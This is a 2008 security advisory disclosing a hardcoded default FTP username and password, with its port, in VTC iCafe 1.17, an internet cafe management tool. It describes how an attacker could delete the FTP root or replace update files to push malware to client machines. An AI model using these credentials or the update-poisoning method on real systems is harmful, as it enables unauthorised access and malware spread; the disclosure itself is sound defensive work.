BLUE MOON SECURITY ADVISORY 2008-08
===================================


:Title: Insecure default FTP password in VTC iCafe
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: VTC iCafe 1.17
:Fixed in: --


Description
-----------

VTC iCafe is an internet cafe management application. It uses a hardcoded insecure default FTP password ``VTCIntecom`` / ``VTCIntecom``. The FTP server listens on port 6655 and distributes update files to the clients. A malicious user could use this knowledge to a) cause a denial of services on the clients by removing the FTP root directory, or b) place malwares such as virus, trojan on the client by replacing the update files.

Workaround
----------

There is no workaround.

Fix

There is no fix at the moment. Customers are advised to contact the vendor for a proper fix.
